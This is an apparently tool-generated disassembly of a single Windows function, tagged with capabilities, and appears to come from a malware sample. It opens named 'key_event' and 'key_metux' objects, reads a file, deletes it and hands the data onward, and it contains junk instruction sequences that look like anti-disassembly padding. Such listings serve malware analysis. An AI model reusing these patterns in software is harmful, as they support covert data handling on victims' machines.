Function at 0x100089c0
Capabilities:
Check mutex on windows
Delete file
Get file size
Read file on windows

Disassembly:
push ebp
mov ebp, esp
push ecx
push ebx
push esi
push edi
mov dword [ebp - 4], ecx
mov ecx, dword [ebp - 4]
add ecx, 4
call fcn.100037e0
mov eax, dword [ebp - 4]
mov dword [eax], 0x100123b0
push eax
xor eax, eax
add eax, eax
xor eax, eax
xor eax, eax
je 0x100089f0
inc ebx
push edi
je 0x10008a49
pop eax
mov eax, dword [ebp - 4]
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret
inc ebp
cld
add byte [eax], al
add byte [eax], al
push eax
xor eax, eax
add eax, eax
xor eax, eax
xor eax, eax
je 0x10008a61
inc ebx
push edi
je 0x10008aba
pop eax
mov ecx, dword [ebp - 0x10]
add ecx, 4
call fcn.10004cd0
mov dword [ebp - 4], 0xffffffff
mov ecx, dword [ebp - 0x10]
add ecx, 4
call fcn.10003860
mov ecx, dword [ebp - 0xc]
mov dword fs:[0], ecx
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret
inc ebp
pop ds
add byte [eax], al
mov ecx, dword [ebp - 0xa8]
add ecx, 4
call fcn.10004b20
test eax, eax
jne 0x10008ad7
xor eax, eax
jmp 0x10008d14
mov byte [ebp - 0x84], 0
mov ecx, 0x1f
xor eax, eax
lea edi, [ebp - 0x83]
rep stosd dword es:[edi], eax
stosw word es:[edi], ax
stosb byte es:[edi], al
push 0x10015278
push str.Global_s_key_event
lea ecx, [ebp - 0x84]
push ecx
call dword [sym.imp.USER32.dll_wsprintfA]
add esp, 0xc
lea edx, [ebp - 0x84]
push edx
push 0
push 0x1f0003
call dword [sym.imp.KERNEL32.dll_OpenEventA]
mov dword [ebp - 0x88], eax
cmp dword [ebp - 0x88], 0
jne 0x10008b34
xor eax, eax
jmp 0x10008d14
push 0x10015278
push str.Global_s_key_metux
lea eax, [ebp - 0x84]
push eax
call dword [sym.imp.USER32.dll_wsprintfA]
add esp, 0xc
lea ecx, [ebp - 0x84]
push ecx
push 0
push 0x100000
call dword [sym.imp.KERNEL32.dll_OpenMutexA]
mov dword [ebp - 4], eax
cmp dword [ebp - 4], 0
jne 0x10008b72
xor eax, eax
jmp 0x10008d14
push 0xffffffffffffffff
mov edx, dword [ebp - 0x88]
push edx
call dword [sym.imp.KERNEL32.dll_WaitForSingleObject]
test eax, eax
jne 0x10008cf8
mov eax, dword [ebp - 0x88]
push eax
call dword [sym.imp.KERNEL32.dll_ResetEvent]
mov dword [ebp - 0x90], 0
mov dword [ebp - 0x8c], 0
push 0xffffffffffffffff
mov ecx, dword [ebp - 4]
push ecx
call dword [sym.imp.KERNEL32.dll_WaitForSingleObject]
test eax, eax
jne 0x10008c6f
push 0
push 0x80
push 3
push 0
push 1
push connect
push 0x10015406
call dword [sym.imp.KERNEL32.dll_CreateFileA]
mov dword [ebp - 0x94], eax
cmp dword [ebp - 0x94], 0xffffffff
je 0x10008c65
push 0
mov edx, dword [ebp - 0x94]
push edx
call dword [sym.imp.KERNEL32.dll_GetFileSize]
mov dword [ebp - 0x98], eax
cmp dword [ebp - 0x98], 0
jbe 0x10008c4d
mov eax, dword [ebp - 0x98]
push eax
call sub.MSVCRT.dll_void____cdecl_operator_new_unsigned_int_
add esp, 4
mov dword [ebp - 0x9c], eax
mov ecx, dword [ebp - 0x9c]
mov dword [ebp - 0x90], ecx
push 0
lea edx, [ebp - 0x8c]
push edx
mov eax, dword [ebp - 0x98]
push eax
mov ecx, dword [ebp - 0x90]
push ecx
mov edx, dword [ebp - 0x94]
push edx
call dword [sym.imp.KERNEL32.dll_ReadFile]
mov eax, dword [ebp - 0x94]
push eax
call dword [sym.imp.KERNEL32.dll_CloseHandle]
push 0x10015406
call dword [sym.imp.KERNEL32.dll_DeleteFileA]
mov ecx, dword [ebp - 4]
push ecx
call dword [sym.imp.KERNEL32.dll_ReleaseMutex]
cmp dword [ebp - 0x8c], 0
jbe 0x10008cf3
cmp dword [ebp - 0x90], 0
je 0x10008cf3
push 0
push 0
push 0
mov ecx, dword [ebp - 0xa8]
add ecx, 4
call fcn.10004f80
test eax, eax
je 0x10008cbb
push 0
mov edx, dword [ebp - 0x8c]
push edx
mov eax, dword [ebp - 0x90]
push eax
mov ecx, dword [ebp - 0xa8]
add ecx, 4
call fcn.10005130
test eax, eax
jne 0x10008cd8
mov ecx, dword [ebp - 0x90]
mov dword [ebp - 0xa0], ecx
mov edx, dword [ebp - 0xa0]
push edx
call sub.MSVCRT.dll_void___cdecl_operator_delete_void__
add esp, 4
jmp 0x10008cf8
mov eax, dword [ebp - 0x90]
mov dword [ebp - 0xa4], eax
mov ecx, dword [ebp - 0xa4]
push ecx
call sub.MSVCRT.dll_void___cdecl_operator_delete_void__
add esp, 4
jmp 0x10008b72
mov edx, dword [ebp - 4]
push edx
call dword [sym.imp.KERNEL32.dll_CloseHandle]
mov eax, dword [ebp - 0x88]
push eax
call dword [sym.imp.KERNEL32.dll_CloseHandle]
mov eax, 1
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret 4